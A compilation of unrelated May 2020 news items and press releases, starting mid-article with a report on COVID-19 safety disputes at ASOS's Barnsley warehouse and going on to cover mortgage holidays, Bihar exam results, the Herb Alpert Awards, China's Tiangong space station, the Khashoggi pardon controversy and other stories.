The GMB went no further than to remind both parties of their statutory safety duties and called for a temporary closure of the warehouse to organise a deep clean. But Community joined ASOS and the Labour authority in rejecting this elementary measure. ASOS has confirmed a total number of nine cases of COVID-19 in its workforce.

There was no offer of a review of existing safety protocols, only a disclaimer of any responsibility. ASOS stated that close to half of those affected had not been on site for more than two weeks prior to testing positive.

This line was echoed by the Labour leader of Barnsleys council, Sir Steve Houghton, who said, It is important to remember that ASOS has a large workforce and this is a global pandemic. When employees test positive for a disease, it does not necessarily mean they contracted it at work.

The response reveals that government guidance commits employers to nothing. ASOS stated that that it has fulfilled its responsibilities by informing Public Health England of the cases and was abiding by contact tracing while affected workers had self-isolated.

This is presented purely as a data collection exercise, divorced from any proactive measures. Rather than closing the premises for a deep clean, ASOS had arranged enhanced cleaning of immediate areas of the factory where the infected workers were based and instructed those who had been in contact with these workers to self-monitor their situation. The GMB reports that workers on site have still not been notified of the infections by ASOS.

From the start of the pandemic ASOS, along with other online fashion and clothing retailers, were given the green light to remain open even though they are nonessential businesses. Economic interests dictated by a multi-billion-pound industry were given unconditional precedence over the risks posed to workers in precarious employment, on low pay in overcrowded workplaces. They were given Hobsons choiceeither risk your life and the health of your family or lose your livelihood.

This economic blackmail has not silenced ASOS workers. Instead the company has relied on the Labour authority and Community to downplay or dismiss the legitimate grievances of workers over safety as panic mongering. This official whitewash has been opposed by ASOS workers, including by those who have been taken ill with the virus.

A young mother who works on inbound at the warehouse took to Facebook and explained how she had contracted COVID-19 after returning from maternity leave and spending two-and-a-half weeks on the shop floor. Despite her best efforts it had proved impossible to maintain social distancing with workers sharing adjacent benches. Her main fear was of passing the disease on to her family as she self-isolated at home with her 10-month-old son.

In late March, she had posted on her Facebook page that the headquarters of ASOS in London was closed and staff were working from home, but the company saw fit to keep its workforce on the job at the warehouse in Barnsley, which employs around 4,000. She urged, Coronavirus exploits ambivalence and inequality. Time for all of us to step up and show basic decency.

ASOS has been able to force workers back on the job because the most they are entitled to claim while off sick or suspected of being ill with the virus is Statutory Sick Pay of 95 per week.

As staffing levels begin to resume normal levels, the token measures drawn up for social distancing based on a maximum of 500 per shift become even more unworkable. Thanks to Barnsleys Labour authority and Community, the conditions have been created whereby ASOS can now scapegoat workers for any failures relating to social distancing. The company has made ASOS workers sign a declaration defining failure to comply with social distancing as gross misconducta sackable offence. In an Orwellian twist, failure to sign the document is also deemed gross misconduct. As has been demonstrated at Amazon in the US, this will also be used as a pretext to victimise workers who protest and organise against unsafe working conditions.

The role of Community shows how the unions function as an extended arm of management. But for its part the GMB is carefully framing its actions to avoid any mobilisation of the workforce against ASOS. The GMB disassociated itself from the wildcat action on March 28, when 500 workers walked off the day shift.

The defence of ASOS workers right to safe working conditions will not come about through public relations exercises conducted by the GMB. The GMBs open letter was supposed to shame ASOS into action and win the backing of Barnsley Council. It did neither.

Industry analysts such as Retail Week have shown how the companies which dominate online retail globally are utilising the COVID-19 crisis to aggressively pursue restructuring at the expense of their workforce to drive their competitors to the wall. An article headlined Retail Darwinismwho will emerge from COVID-19 as retails fittest? states that this process could result in just 10 brands controlling the entire market. In relation to ASOS and Boohoothe two leading UK online fashion retailersit refers to their ability to mount takeovers and pursue price wars, a process described as starving the weak of oxygen.

The defence of ASOS workers lives means a fight against the veto these corporations enjoy over workplace safety. A rank-and-file safety committee, independent of the trade unions and made up of trusted workers, must take decision-making over workplace organisation and productivity out of the hands of ASOS and its faithful retainers. Safety must be organised in accordance with minimising the spread of the pandemicstarting with the immediate closure of the premises for the organisation of a deep clean.

An appeal should be made to health professionals who are not beholden to corporate profit to assist with the mandatory testing, contact tracing and quarantining measures necessary to safeguard workers and the wider community. Links must be established with logistic and warehouse workers in the UK and internationally, confronted with the same unsafe conditions. We encourage all workers who want to wage such a struggle to contact the Socialist Equality Party.
BOCA RATON Fla., May 22, 2020 (GLOBE NEWSWIRE) -- Securities fraud levels rise in periods of economic downturns so there are reasons to be concerned about improper dealings during the COVID-19 pandemic, said Douglas Cumming, Ph.D., a professor of finance at Florida Atlantic Universitys College of Business.

Company executives facing financial uncertainty and risk of failure have pronounced incentives to engage in misconduct to ride out the crisis. When businesses are failing, management may delay the disclosure of bad news to the public to secure additional funding, retain and attract customers and maintain stable supplier relationships.

In some cases, managers and investors may not have a full understanding of their disclosure obligations that arise during a crisis, Cumming said. The pandemic brings new requirements for financial reporting about material risks, and without proper guidance and prudence, firms are more likely to fall short of their obligations under the law.

Investors also have reason to engage in improper conduct with respect to insider trading, which involves illegally acting on non-public information. Its a common crime to sell stock before the extent of bad news is publicly known, and there are huge incentives created by large market swings in a financial crisis. U.S. Sen Richard Burr recently resigned as chairman of the Senate Intelligence Committee after authorities launched an investigation into accusations he sold as much as $1.6 million in stock before the coronavirus-related market meltdown in March.

The U.S. Securities & Exchange Commission has warned investors of illegal practices such as pump-and-dump schemes, in which traders use false information to inflate stock prices before selling the shares at a profit. These types of market manipulation practices exist in a variety of contexts, such as mergers and acquisitions, as discovered by Cumming and explained in this video.

Whats more, periods of financial crisis make it much harder to disguise past misconduct, he said. During the financial crisis of 2008-09, it was impossible for Bernie Madoff to conceal his Ponzi scheme because of investors concurrent demand for withdrawing funds that did not exist.

But Cumming points out there are ways for investors to protect themselves. His research discusses the importance of investor due diligence. In the case of crowdfunding, for example, Cumming explains that due diligence can be facilitated through social networks and text analysis. Fraudsters tend to stay away from social media and have poorly worded disclosure documents.

Social media is a great tool for facilitating trust and enabling better due diligence, he said.

Cumming added that detection has improved over time with computerized enforcement, but there still are challenges tracking fraud in international markets.
WHEN CAN I GO BACK TO CHURCH? Cemetery updates, new coronavirus numbers, and more. (Hot Zone) Posted by Staten Island Advance on Thursday, May 21, 2020

STATEN ISLAND, N.Y.  The coronavirus pandemic has turned our world upside-down. We need information like we never have before.

How many new cases were there on Staten Island today? How many deaths? How many people have been released from the hospital?

What did President Donald Trump say about the pandemic? What about Gov. Andrew Cuomo and Mayor Bill de Blasio?

More importantly, when is this pandemic going to be over? When are we going to get back to normal, whatever normal is?

Its almost too much to keep up with.

So twice a day, Mark Stein and I take to Facebook Live to give you all the Island information you need. Look for us around 2 p.m. and again at around 5:30 p.m. Then look for this wrap-up on SILive.com at the end of the day.

Well give you the numbers and all the latest news. Well answer your questions. Well follow up on your news tips.

Well share the good news too, the way that the Staten Island community is coming together in this time of crisis. Or well just share this strange and unique pandemic moment with you, as fellow Staten Islanders.

On Thursday, the Archdiocese of New York issued a timeline for when Catholics can expect to return to Mass. Its going to be a long time! See the video above for that.

In the video below, Mark and I discuss how the city has boosted rush-hour ferry service, as well as the COVID-19 testing being made available at CVS pharmacies across the borough.

Were all in this together. Well all get through this together.
[May 22, 2020] Grunt Style to Shut Down Online Sales In Honor of Memorial Day

SAN ANTONIO, May 22, 2020 /PRNewswire/ -- Grunt Style , a retail company specializing in patriotic lifestyle apparel, will officially forego online sales on Monday, May 25, to honor all the men and women who made the ultimate sacrifice for our country. In addition to foregoing online sales, Grunt Style will also livestream a special Memorial Day name reading ceremony across their social channels and website at gruntstyle.com beginning at 9:00 a.m. CT. "Pride, Patriotism and Culture are the three pillars at the foundation of Grunt Style's brand and overall mission" said Grunt Style CEO Glenn Silbert. "Our brand is committed to fostering a community that takes pride in our country and supporting the military personnel and veterans who have fervently fought to defend it for generations. On Memorial Day, we're proud to honor the soldiers and families who have sacrificed so much to protect our freedom."



To learn more about Grunt Style, their products and community-giving initiatives, please visit: gruntstyle.com

ABOUT GRUNT STYLE

Founded in 2009, Grunt Style is an online patriotic lifestyle retailer designed for a new class of warriors: first-responders, military veterans and their friends and family. With four million social media followers, the company works hard to deliver the highest quality, most Patriotic apparel on the planet that is backed by its unbeatable lifetime guarantee. Headquartered in San Antonio, Texas, Grunt Style stands behind its products, its service and its ability to America. Find out more about the company and its American-made products at gruntstyle.com and join the conversation on Facebook and Instagram at @GruntStyle.

View original content to download multimedia:http://www.prnewswire.com/news-releases/grunt-style-to-shut-down-online-sales-in-honor-of-memorial-day-301064399.html SOURCE Grunt Style

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Homeowners who are still unable to pay their mortgage because of the coronavirus crisis will now be eligible for a further three month repayment holiday, the Government announced today.

An initial three month mortgage holiday scheme was set up in March and ministers have now decided to extend it.

The deadline for applying for an initial repayment break is also being extended to October 31.

However, where people can afford to restart payments they are being encouraged to do so, even if it is not for the full normal monthly amount.

The Government today announced a mortgage holiday scheme is being extended by a further three months

John Glen, the Economic Secretary to the Treasury (pictured far right), insisted the Government is 'doing everything we can to help people with their finances at this difficult time'

More than 1.8 million mortgage payment holidays were taken up by consumers when the scheme was first announced.

The first of these three month payment pauses are now set to start coming to an end in June.

But with lockdown measures still in place and the UK economy still spiralling, the Treasury has opted to continue the initiative and to offer people who need it another three months of non-payment.

Mortgage-holders will be contacted by their lender to discuss the best way forward.

The Treasury said that it is in the 'best interest' of homeowners to restart mortgage payments if they are able to.

But the option of a further three month holiday will be available to people who are struggling and need extra help, giving them a six month break from payments.

John Glen, the Economic Secretary to the Treasury, said: 'Were doing everything we can to help people with their finances at this difficult time, and that includes making sure people get the support they need with their mortgages.

'Thats why were working with the banks and lenders to extend payment holidays if people need them.

'Everyones circumstances will be different, so when homeowners can pay some or all of their mortgage, they should work with their lender on a plan; but if they are still struggling, I want them to know that help is there.'

New draft guidance for lenders on how the Government expects them to proceed and the options available to customers was today published by the Financial Conduct Authority.

Options include extending the application period for a mortgage holiday until October 31.

That means that homeowners who have not yet had a payment holiday but who are now experiencing financial difficulty will be able to request one.

Meanwhile, an existing ban on the repossession of homes will be continued to the same date.

Christopher Woolard, interim chief executive at the FCA, said: 'Our expectations are clear  anyone who continues to need help should get help from their lender.

'We expect firms to work with customers on the best options available for them, paying particular attention to the needs of their vulnerable customers, and to provide information on where to access help and advice.

'Where consumers can afford to re-start mortgage payments, it is in their best interests to do so.

'But where they cant, a range of further support will be available. People who are struggling and have not had a mortgage payment holiday, will also continue to be able to apply until 31 October.'

The new guidance will come into effect after a short consultation with lenders who will then be expected to contact customers whose mortgage holiday is coming to an end.

For those who are unable to restart full payments they could pay a proportion of the monthly amount or temporarily switch to an interest only mortgage.
New Delhi: The Bihar School Examination Board (BSEB) is expected to release Class 10 results of the Bihar board on Friday (May 22). Those students who took the BSEB's Class 10th exams would be able to check their results on the Bihar board's official websites--biharboardonline.bihar.gov.in and biharboard.ac.in.

The Bihar Board class 10 students should note that they would be able to check their results by logging in at the official websites by filling in details of their admit card.

Bihar Board students should follow the steps given below to check their class 10th result:

1. They should visit the official website at biharboardonline.bihar.gov.in or biharboard.ac.in

2. Students should click on the 'Results' tab after visiting the home page

3. They can tap on Class X Matriculation results and select their stream and click on 'Result'

4. A new page will appear, wherein, students should fill up their details and enter the captcha text

5. Students can now download their BSEB Class 10 Result 2020.

Students can also check their results through SMS. They should type - BSEB10 -space- ROLL NUMBER and send it to 56263.

The Bihar Board Class 10 examination 2020 was held between February 17 and February 24, while the evaluation process had commenced on May 6 and it concluded the last week.

The Bihar Board Class 10 Result pass percentage for the year 2019 was 80.73 percent.
In recognizing and honoring these five visionary mid-career artists who expand their fields as well as our own horizons, we acknowledge the profound social, cultural and personal impact their work, and the arts overall, has on a civil society...and particularly a civil society in the midst of crisis

Ive always loved the artists that travel the road less traveledthose are the artists that touch me. - Herb Alpert

The Herb Alpert Foundation and the California Institute of the Arts (CalArts) have awarded the 26th Annual Herb Alpert Award in the Arts (HAAIA) to five exceptional midcareer artists. Now in its 26th year, the annual award provides five unrestricted $75,000 grants to independent artists working in the fields of dance, film/video, music, theatre and visual arts. The recipients will be honored at a virtual ceremony hosted by Herb Alpert, his wife Lani Hall Alpert and the Herb Alpert Foundation on Friday, May 22, 2020.

THE 2020 HERB ALPERT AWARD IN THE ARTS RECIPIENTS ARE:

KAREN SHERMAN - Dance

SKY HOPINKA - Film/Video

CHRISTIAN SCOTT aTUNDE ADJUAH - Music

PHIL SOLTANOFF - Theatre

FIRELEI BAEZ - Visual Arts

The awards are adjudicated by three-member panels of noted artists - including many past winners - and arts professionals in each of the five categories. The Herb Alpert Award in the Arts was conceived by Herb Alpert and his wife, the Grammy-winning vocalist Lani Hall Alpert to reward creative experimenters who are challenging and transforming art, their respective disciplines, and society. In addition, the awards provide vital financial support to each artist at a key juncture in his or her creative development.

Among the 125 past winners of the Award are artists - Carrie Mae Weems, Vijay Iyer, Taylor Mac, Arthur Jafa, Suzan-Lori Parks, Julia Wolfe, Meshell Ndegeocello, Michelle Dorrance, Tania Bruguera, Kerry James Marshall, Lisa Kron, Okwui Okpokwasili, Sharon Lockhart, Ralph Lemon, and Cai Guo-Qiang.

"We are grateful to be able to celebrate the Herb Alpert Awards 26th anniversary during this very challenging year, where more than ever the arts are a vital and necessary way of bringing sustenance, meaning and well-being to our world", says Rona Sebastian, Herb Alpert Foundation President. "In recognizing and honoring these five visionary mid-career artists who expand their fields as well as our own horizons, we acknowledge the profound social, cultural and personal impact their work, and the arts overall, has on a civil society...and particularly a civil society in the midst of crisis."

Irene Borger, the founding Director of the Herb Alpert Award in the Arts notes, 15 extraordinary artistic directors, curators, educators and Herb Alpert Award winners came together, in 5 separate panels, to ask: why support this artist at this moment in their artistic trajectory  and  right now, in the culture? Their decisions?' They matter." The following summaries highlight why the 2020 panelists chose these five extraordinary artists:

DANCE PANEL SUMMARY

"The Dance panel has selected choreographer Karen Sherman for her genuine, transparent, vulnerable work and the ways she summons the real into existence. They value her sensitivity in grappling with issues of power and belonging, and how she poetically and wittily brings forth the unseen, taking risks to create a necessary theatre for this time."

DANCE PANELISTS

luciana achugar - choreographer, Herb Alpert Award Artist, Brooklyn, New York

Nan Friedman - performer/teacher/choreographer, Santa Monica, CA

Donna Uchizono - dance artist, Herb Alpert Award Artist, New York

FILM/VIDEO PANEL SUMMARY

"The Film/Video panel honors artist and filmmaker Sky Hopinka for his remarkable approach to storytelling, at once personal and mythic; for his ability to join the aesthetic and the political, and to engage with questions of ecology and dispossession. They were moved by his visual aesthetic that refuses to objectify people or land, and grounds characters and stories with feeling and soul."

FILM/VIDEO PANELISTS

Rizvana Bradley - assistant professor, History of Art, and African-American Studies, Yale University, New Haven

Bruce Jenkins - professor of Film, Video, New Media and Animation, School of the Art Institute of Chicago, Chicago

Roya Rastegar - filmmaker and curator, PhD. History of Consciousness, Los Angeles

MUSIC PANEL SUMMARY

"The Music panel celebrates trumpeter, composer, producer Christian Scott aTunde Adjuah for his originality and artistry, for the inventive ways he decolonizes sound and uses the past to move us forward. His immersive and compelling music makes magic, stretches conventions, has a powerful, visceral impact on listeners, and builds bridges and community."

MUSIC PANELISTS

Molly Barth - flutist, professor, Blair School of Music, Vanderbilt University, Nashville, TN

Steve Coleman - saxophonist, composer, band leader, Herb Alpert Award Artist, New York, NY - Allentown, PA

Miya Masaoka - composer, sound artist, Herb Alpert Award Artist, associate professor, director, Sound Art Program, Columbia University, New York

THEATRE PANEL SUMMARY

"Theatre-maker Phil Soltanoff was chosen by the Theatre panel for his phenomenally, seriously playful and rich imagination, for the masterful ways he conveys story through silence and physicality, as well as for the beauty, elegance, and timelessness of his innovations. They are relieved that he - the Real Deal with experimentation in his DNA  is taking his gifts to the next generation throughout America."

THEATRE PANELISTS

Raelle Myrick Hodges - theater director, creative director, 651 Arts, Brooklyn, New York

Johanna McKeon - director, New York

Diane Rodriguez - director, writer, producer, Rodriguez Projects, Los Angeles (in memoriam 1951-2020)

VISUAL ARTS PANEL SUMMARY

"Artist Firelei Baez was named the Visual Arts prizewinner for the fearless, subversive beauty of her expansive, color-saturated, highly patterned and ornamented paintings, for the immersive and layered visual and kinesthetic experience of her ambitious room-sized and public installations, which both subtly and rigorously interrogate history, transporting us to a powerful future that embodies an alternate past."

VISUAL ARTS PANELISTS

Ondine Chavoya - professor of art, Williams College, Williamstown, MA

Paul Ha - director, MIT List Visual Arts Center, Cambridge, MA

Naima Keith - vice-president, Education and Public Programs, LACMA, Los Angeles

Ravi Rajan, president of CalArts adds, The Herb Alpert Award in the Arts stands as one of the most important gestures of support for the incubation of artists globally, and CalArts is honored to work with the Herb Alpert Foundation in administering this award for 26 years. CalArts is a community of artists whose mission is to transform ourselves, each other, and the world through artistic practice, and the Herb Alpert Award in the Arts is an important part of fulfilling that mission. Herb Alpert Award recipients are also provided with a week-long teaching residency at CalArts.

About The Herb Alpert Award in the Arts

The Herb Alpert Award in the Arts is an unrestricted prize of $75,000 given annually to five risk-taking mid-career artists working in the fields of dance, film/video, music, theatre and the visual arts.



The prize was initiated and funded by the Herb Alpert Foundation and has been administered by California Institute of the Arts since 1994. The Herb Alpert Award honors and supports artists respected for their creativity, ingenuity, and bodies of work, at a moment in their lives when they are poised to propel their art in new and unpredictable directions. The Herb Alpert Award recognizes experimenters who are making something that matters within and beyond their field.

For More Information on 26 years of the HAAIA, past winners and panelists, please visit: herbalpertawards.org

About The Herb Alpert Foundation

The Herb Alpert Foundation envisions a world in which all young people are blessed with opportunities that allow them to reach their potential and lead productive and fulfilling lives. Over the past few years, the Foundation has focused on core areas: The Arts, a broad category that includes arts education, a focus on jazz, and support to professionals. This also includes programs that seek to use the arts to help meet the needs of underserved youth and to help build competencies that will enable them to become successful adults. The other core area is Compassion and Well-Being, which celebrates the positive aspects of human psychology and seeks to bring more compassion and compassionate behavior to our society. Please note: The Foundation does not accept unsolicited proposals.

For more information please visit:herbalpertfoundation.org

About CalArts / California Institute of the Arts

CalArts is recognized internationally as a leading laboratory for the visual, performing, media and literary arts. Housing six schoolsArt, Critical Studies, Dance, Film/Video, Music, and TheaterCalArts educates professional artists in an intensive learning environment founded on art-making excellence, creative experimentation, cross-pollination among diverse artistic disciplines, and a broad context of social and cultural understanding. CalArts also operates the Roy and Edna Disney/CalArts Theater (REDCAT) in the Walt Disney Concert Hall complex in downtown Los Angeles.

For more information please visit: calarts.edu
Presidential spokesperson Harry Roque accused CNN Philippines journalist Triciah Terada of misquoting him despite never writing the report containing the alleged misquote. The International Federation of Journalists (IFJ) and its affiliate the National Union of Journalists of the Philippines (NUJP) express disappointment at Roque's conduct and call on the government to resolve disputes professionally.

A man reads an announcement by CNN Philippines at their building in Manila on March 18, 2020. Credit: TED ALJIBE / AFP

During an online press briefing on May 19, Roque blamed Terada for quoting him out of context in the CNN Philippines report on mass testing titled Up to private sector to carry out mass testing, Roque says amid limited testing capacity. Contradicting Rogue, CNN Philippines disclosed Terada did not write the disputed story.

CNN Philippines said: "It is likewise regrettable that Ms. Terada was not given a chance to challenge the allegations made against her and defend herself from the public attack that could harm her reputation as a journalist and a professional."

NUJP said Presidential spokesperson Harry Roque owes CNN Philippines and its reporter Triciah Terada an apology for his allegations. Officials who earn public ire for their pronouncements should not blame journalists who are merely doing their jobs, NUJP added.

The IFJ said: Government officials must recognise the consequences of their misconduct and approach any public accusation with caution. The IFJ urge Harry Roque to respectfully apologise to CNN Philippines and Triciah Terada."
New Brunswick's financial situation has been deteriorating in the wake of the COVID-19 pandemic but not as severely as a number of private forecasts have been suggesting.

In a special fiscal update released Thursday, New Brunswick's Department of Finance revealed it is now projecting a $299.2-million deficit for the current year, rather than the $92.4-million surplus announced when the budget was presented to the legislature March 10.

That's a $392-million change for the worse, but Finance Minister Ernie Steeves did not rule out the possibility the new estimate might also be overtaken by events like the original projection.

"We are facing a situation unlike anything we have experienced before," said Steeves in a statement released with the update.

"The impacts of the pandemic are only beginning to be understood, and it will take more time to fully comprehend the effects on our economy and our finances."

Graham Thompson/CBC

Although the deficit would be the highest in New Brunswick in six years and represents a serious deterioration from original projections, it is not nearly as dire as private-sector estimates have been suggesting it would be.

In late April the Royal Bank of Canada estimated New Brunswick was headed for a $600-million deficit based on the trajectory of the economy and last week the Bank of Nova Scotia suggested much worse than that.

It estimated New Brunswick's budget shortfall would reach $1.19 billion this year, four times worse than the government's new estimate.

In an interview, Steeves said he's comfortable with his department's analysis.

"I have all the faith in the people I work with. The staff is outstanding and nobody knows New Brunswick like New Brunswickers," he said.

Estimated revenue losses not as dire

Provincial finance officials are especially more bullish than private forecasters about COVID-19's effect on key revenue sources, including both income and sales taxes.

Despite an estimated 49,600 people losing their jobs in New Brunswick since February and most retailers closed tight for two months, the province is projecting only a minor 3.7 per cent reduction in corporate and personal income tax revenue from original budget estimates and a 4.6 per cent reduction in HST revenue.

Story continues

It's a combined $155-million cut, but nothing like the $1-billion hit other estimates were hinting at.

Adrian Wyld/THE CANADIAN PRESS

Canada's parliamentary budget officer was modelling national reductions as high as 20.2 per cent in income taxes and 34.8 per cent in sales tax (GST) from pre-COVID estimates in an analysis published three weeks ago.

Steeves said the federal government, which collects both income and sales taxes for New Brunswick, was involved in New Brunswick's analysis and it shows national and provincial wage replacement measures have helped keep incomes and spending elevated enough to limit significant losses of tax revenue.

"I am confident. If anything, staff is a little on the conservative side in their predictions," said Steeves.

"We're expecting to land at a $300-million deficit."

Steeves cautions against more relief spending

Another factor keeping the deficit down has been the province limiting its own COVID relief spending to $100 million, just one per cent of its total budget. It's the smallest allocation being made by any province, according to the Bank of Nova Scotia, and will be a point of contention among opposition parties when the legislature sits next week.

Steeves said the smaller-than-expected deficit does not change plans to limit COVID relief spending by the province.

"The job is to provide a better New Brunswick for our kids," he said. "I don't want to saddle kids with crushing debt. So that's the plan, to save what we can and try and work through it."

Robert Jones/CBC

The update shows the single largest drop in revenue to the province, more than personal and corporate income tax reductions combined, is projected to come from casino and video lottery gaming.

Atlantic Lotto was forced to shut all of its video lottery terminals in the province on March 15 and that, along with the shuttering of Casino New Brunswick, is expected to cut revenues by $89.9 million.
Bihar Board 10th result 2020 is expected to be declared in the afternoon on Friday. Lakhs of students have been waiting for the BSEB 10th results. According to media reports, the BSEB matric result is likely to be declared on Friday at 1 pm. However, there is no official confirmation regarding this.

Over 15 lakh students have appeared for the BSEB 10th exam this year. Students have been waiting for their results for the last one week but the Bihar Board has not given any result declaration date till now. Earlier, BSEB chairman Anand Kishor had told HT that the board is trying to declare the results at the earliest. He had said that the Bihar Board 10th result will be declared after May 20 and anytime before the end of the month.

According to the original schedule, BSEB was to declare the Bihar board 10th results 2020 by the March-end or beginning of April. However, the result got delayed because of the coronavirus lockdown due to which evaluation work had to be left midway. The evaluation work of answersheet resumed on May 6 and it took around a week to wrap up the process. After feeding and compiling the scores of students in the computer, toppers list was prepared. The top 10 rank holders were interviewed on video call by a panel of experts constituted by BSEB. The board usually declares the result after the toppers verification is complete. According to reports, the toppers verification process has been completed and the board is expected to declare the results anytime soon.

Candidates should register themselves here on our HT result portal to get instant alert of the Bihar Board 10th result 2020 after they are declared.

How to check Bihar Board 10th result 2020:

After the Bihar Board matric result is declared, candidates should visit the official website at biharboardonline.bihar.gov.in or biharboard.ac.in. Then click on the result link flashing on the homepage that reads Bihar Board matric result 2020. Key in your login credentials like roll number, roll code and registration number and submit.Your result will be displayed on the screen.Download and take its print out.
A number of Luxembourgers hoping to cross the border to shop in Germany were turned back by German police this Friday morning.

Only those who wanted to visit family members who live in Germany were allowed to enter. Would-be shoppers were meanwhile denied entry.

According to a spokesperson of the German federal police, the confusion arose because the border agents who turned back Luxembourgers had just arrived from Frankfurt and not been briefed about the easing of restrictions.

Police spokesperson Karsten Eberhardt apologised for this mishap and stressed that Luxembourgers are indeed allowed to enter Germany for cross-border shopping.
Tiangong details unveiled

Global Times

Source:Xinhua Published: 2020/5/21 21:08:40

China's space station to be completed around 2022

After the successful maiden flight of the Long March-5B large rocket and the testing of China's new-generation manned spaceship, more details of China's space station have been unveiled.

The space station, expected to be completed around 2022, will operate in low-Earth orbit at an altitude of 340 kilometers to 450 kilometers for more than 10 years, supporting large-scale scientific, technological and application experiments, according to a report in the People's Daily.

What will it look like?

The space station Tiangong, meaning Heavenly Palace, will be able to accommodate three astronauts in normal circumstances and up to six during a crew replacement.

The station will be a T shape with the core module at the center and a lab capsule on each side. Each of the modules will be over 20 tons, with the total mass of the station about 66 tons, said Zhou Jianping, chief designer of China's manned space program.

If China's Tiangong-1 and Tiangong-2 space labs are like one-bedroom apartments, the space station is equivalent to an apartment with three bedrooms, a living room, a dining room and a storage room, said Zhu Guangchen, deputy chief designer of the space station from the China Academy of Space Technology (CAST).

The core module of the station, Tianhe, has a total length of 16.6 meters, a maximum diameter of 4.2 meters and a takeoff mass of 22.5 tons, and is currently the largest spacecraft developed by China.

The living space in the Tianhe core module is about 50 cubic meters. Combined with the two lab capsules, the whole living space could be up to 110 cubic meters, according to CAST.

The core module has two berth ports connecting to the two lab capsules, and three docking ports for the crew spacecraft, cargo and other craft. The first lab capsule, Wentian, will be mainly used for scientific and technological experiments, as well as working and living space and shelter in emergency. This capsule is equipped with a special airlock chamber to support extravehicular activities and a small mechanical arm for the automatic installation and operation of extravehicular instruments. It can manage and control the space station if needed, according to CAST.

The second lab capsule, Mengtian, has functions similar to the first. It is equipped with a special airlock chamber to support the entry and exit of cargo and instruments with the help of astronauts and mechanical arms.

The Long March-2F carrier rocket and Shenzhou manned spacecraft will be used to transport crew and some materials between Earth and the space station. The Shenzhou can carry three astronauts and be used as a rescue spacecraft in emergency.

The Long March-7 rocket and Tianzhou cargo spacecraft will be used to transport materials, propellants and instruments for the station.

The Long March-5B rocket will carry the core module and lab capsules into space, as well as a capsule holding a 2-meter-caliber optical telescope, which will fly in the same orbit as the space station.

The telescope capsule Xuntian is expected to provide observation data for astronomical and physical studies to help scientists better understand the universe. During its expected 10-year operation, it will be able to observe over 40 percent of the sky, said Zhou.

How will it be constructed?

Twelve flight missions are planned to construct the station. After the maiden flight of the Long March-5B, the core module and the two lab capsules will be launched for assembly in orbit. Four manned and four cargo craft will also be launched, said Lin Xiqiang, deputy director of the China Manned Space Agency (CMSA).

China will face great challenges and complexities in the coming high-density launch missions, said Zhou Jianping.

Chinese astronauts will shoulder many tasks in the construction of the space station. They will conduct many complex extravehicular tasks, and work with mechanical arms to complete the installation, testing, adjustment and upgrading of the payloads in orbit.

One astronaut can operate the mechanical arm inside the capsule while another works outside. The space station will have two kinds of mechanical arms, said Zhou.

Because of the high cost of transporting materials into space, the ability to recycle as much as possible is a major technological issue, Zhou said.

The longest stay in space so far by Chinese astronauts is 33 days. The water and oxygen they needed were taken into space. To enable astronauts to stay longer, the station will be equipped with a renewable life support system. The hydrogen produced in electrolytic oxygen production and the carbon dioxide exhaled by astronauts can generate oxygen through a chemical reaction.

The power system includes two pairs of flexible solar panels, with each panel about 30 meters long. The station will also use electric propulsion technology to maintain its course.

Scientific experiments

Scientific facilities on the station could support hundreds of research projects in fields such as astronomy, biotechnology, microgravity, basic physics and space materials.

More than a dozen advanced experiment racks will be installed, and an extravehicular experiment platform will be built. Each rack is regarded as a lab that can support various space experiments.

Scientists will also conduct space life science and biotechnology experiments on the station to study how human beings might live in space for long periods.

The station's construction crew has been selected and is being trained. China's third group of reserve astronauts will be selected around July, according to CMSA.

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Five years after the government, in laying down its climate-change targets, committed to have mandatory coal washing, the Ministry of Environment, Forests and Climate Change (MoEFCC) has done away with it. In a gazette notification on Thursday, the ministry amended the Environment Protection Act to drop mandatorily washing coal for supply to thermal power plants. Use of coal by Thermal Power Plants, without stipulations as regards ash content or distance shall be permitted, said the gazette notification.

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The Turkish fiancee of murdered Saudi journalist Jamal Khashoggi said Friday no one had the right to pardon his murderers after his sons said they forgive the killers.

Khashoggi -- a royal family insider turned critic -- was killed and dismembered at the Saudi consulate in Istanbul in October 2018. Crown Prince Mohammed bin Salman was accused of ordering the killing but the kingdom has strongly denied this.

His ambush and heinous murder does not have a statute of limitations and no one has the right to pardon his killers. I and others will not stop until we get #JusticeForJamal, Khashoggis fiancee Hatice Cengiz tweeted.

The killers came from Saudi with premeditation to lure, ambush & kill him... We will not pardon the killers nor those who ordered the killing, she added.

Cengiz was responding to the Washington Post columnists son Salah Khashoggi who tweeted earlier Friday that the sons forgive and pardon those who killed our father during Ramadan, the Muslim month of fasting which ends this weekend.

Analysts believe the announcement could spare the lives of five unnamed people sentenced to death over the murder in a December court ruling.

Everyone knows there is no freedom or justice inside Saudi Arabia under the current regime, Cengiz told AFP in comments in English.

Jamal has become an international symbol and his murder an international crime that must be prosecuted in an independent court of law, she said.

No international law, Saudi or Islamic law allows those responsible for this monstrous crime to go free.

Turkish officials say Khashoggi, 59, was strangled and his body was cut into pieces by a 15-man Saudi group inside the kingdoms mission. His remains have never been found.
Pooja Hegde, The Leading Lady For DQ?

As per rumours, Dulquer, known for his charismatic persona will be romancing South diva Pooja Hegde for his second Telugu film after his incredible debut in Mahanati. The makers of the movie are said to have approached the actress to essay the female lead. It is also said that she was given a narration of the script before the lockdown, and she will sign the dotted line once she returns to Hyderabad post the lockdown.

Details On Dulquers Next Movie

Coming back to Dulquer's second Telugu venture, the yet-to-be-titled movie will launch with a formal pooja ceremony after the lockdown. Interestingly, the production company of Mahanati, Vyjayanthi Movies is bankrolling this big project. Earlier, there were reports that Dulquer was impressed with the storyline narrated by the Padi Padi Leche Manasu director. Touted to be a romantic thriller, the movie will have a release in Telugu Tamil and Malayalam. Well, Telugu audience can't wait to feast their eyes on Dulquer Salmaan's new avatar as a romantic boy on screen after his portrayal as Gemini Ganesan in Mahanati.

Dulquers Film Affair!

Talking about his other projects, DQ will next be seen in Malayalam movie Kurup. The movie will have the actor essaying the role of a real-life celebrated criminal of Kerala Sukumara Kurup. Written and directed by Srinath Rajendra, Kurup will also feature Sobhita Dhulipala and Manoj Bajpayee in important roles. Dulquer is also a part of Tamil movies Vaan and Hey Sinamika. Vaan will have Kriti Kharbanda in the female lead, while Aditi Rao Hydari will be romancing the actor in Hey Sinamika.
By Express News Service

